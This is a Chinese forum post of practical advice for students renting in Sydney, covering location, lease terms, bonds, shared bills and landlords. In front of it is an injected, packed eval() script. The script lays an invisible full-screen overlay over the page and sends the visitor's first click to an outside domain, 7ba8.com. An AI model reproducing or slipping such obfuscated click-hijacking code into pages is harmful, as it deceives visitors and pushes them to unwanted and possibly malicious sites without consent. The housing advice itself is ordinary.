<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>临近开学了，相信大家又纷纷陷入找房子的漩涡。本人在悉尼混迹时间短短三年不到，却历经N次搬家，（好在去年没有）在这里写点找房心得，大家来分享补充啊！ 首先价格的问题没什么可说的，地域性是一点，还有每个人的经济能力也不同，最重要你觉得值得就值得了。说几个有的探讨的。 地理位置。就像房地产广告上写的，it's all about location。好的地理位置绝对是至关重要。大原则是选择安全的区（例如AUBURN就比较慎得慌）。离学校以及超市或者杂货店近是一个很重要的指标。因为这两个是你几乎每天都要光顾的地方。如果你住的地方不能步行至学校，那还要考虑交通是否方便，车站的远近以及车次的频率。当然好位置跟价格是成正比的，如何选择取决于你个人的接受程度。对于有车的同学，稍微偏远一点的区既便宜又宁静，说不定物价还低，是不错的选择。 租期长短。跟房东接触的时候务必洽谈清楚租期的长短，有些6个月以上起租的要慎重考虑。原因有几点，首先你要确定房子真的中意，尤其人在国内不能亲自inspect的同学要小心，6个月可是不短的时间，如果住的不舒服又被拴住了走不了那真是痛不欲生的事情。而且6个月意味着错过淡季，淡季是冲击好房子的最佳时机。没有100%把握的房子慎重签约6个月以上。对了还有，记得问问会不会涨租。 人员情况。要问清楚的是房东是否同住以及一共几个人share。个人prefer房东不同住，不过似乎很多人也不care，这个就不多说了。一共的人数不可以太多，影响到抢网速，抢流量，抢做饭，抢厕所，噪音大......etc。unless你真的无所谓。again，这些都是跟价格挂钩的。 押金问题。一般都是4周或2周bond。大家不要小看了这个押金，有人说押金又不是不退了，无所谓的吧。其实就算你最后能拿到全额的押金，这期间它也是冻结资产，相比较起来还是2周bond比较吸引人。还有就是除此之外，有些apartment需要钥匙，门卡押金，记得写清收据就好。 Share bill的问题。有些房租价格不包bill，每周要share水电煤气网络一类的。这类费用比较隐形，难以估算，range超大，从5--20刀/week的都有，而且水电费单子每三个月才来一次，你不能保证卡着正季度入住或搬出，甚至搬走了N久还得一一核对单子交钱， 麻烦不少。全包bill的基本就是不让使heater啦如何如何的。 房子结构。三大类： house（包括townhouse)， unit,和apt。价格not necessarily递增。APT自然都很向往了。。。但是也要看具体房子，新旧，设施等等。像darling harbour旁边那种高层APT都还挺新的，就是价格死贵罢了。 房东。这个令人纠结无比的问题放在这里讨论一下。。大家肯定都见过各式各样的房东，苛刻小气的，笑里藏刀的，奸诈阴险的，也有仗义热情的，不拘小节的。一句话，好房东太重要了，但是偏偏这点不在咱控制之内，谈的时候都很友善，一出问题立马翻脸的，不在少数。我的建议是，丑话全都说在前头，这不是什么不好意思的事，有什么疑惑，要求，底线，要提前沟通，不要留到日后麻烦出来了再相互埋怨。我也有朋友是自己做二房东的，所以我深知房东们也很不容易，尤其是学生房东。大家自然是抱着买卖不成仁义在的心态对待彼此，但还是不乏没素质的小人们。其实房东，斤斤计较并不可怕，可怕的是出尔反尔，没有诚信，蛮不讲理，搞得你焦头烂额筋疲力尽。如果你运气好碰上了好说话，好脾气的房东，那就烧高香吧，别忘记以诚相待。 关于怎么看广告。网上也好，布告栏也好，马路边电线杆子也好。那些个描述性的词语就不用多说了，大家都知道其中含义。“步行*分钟到学校”就是*前面再加个1，没写包bill的99%就是share bill，“紧临主街交通方便”就意味着噪音大，“房东有车周末可带你去买菜“----这个自己掂量吧。不让inspect的更得小心，多半房子有问题，QQ上传房间图片了也要看看这图是几几年拍的，总要给自己预留个失望空间。 关于和朋友share。不要光顾着兴奋，就一条，问问自己能不能忍受缩小的私人空间和不协调的生活习惯。最不希望的事就是本来很好的两个朋友，因为住在一起还闹翻脸了，多可怕。 暂时就这么多啦，大家还有什么经验的纷纷补充啊~ 最后祝大家都能找到理想的房子，住的开心，新学期一切顺利!
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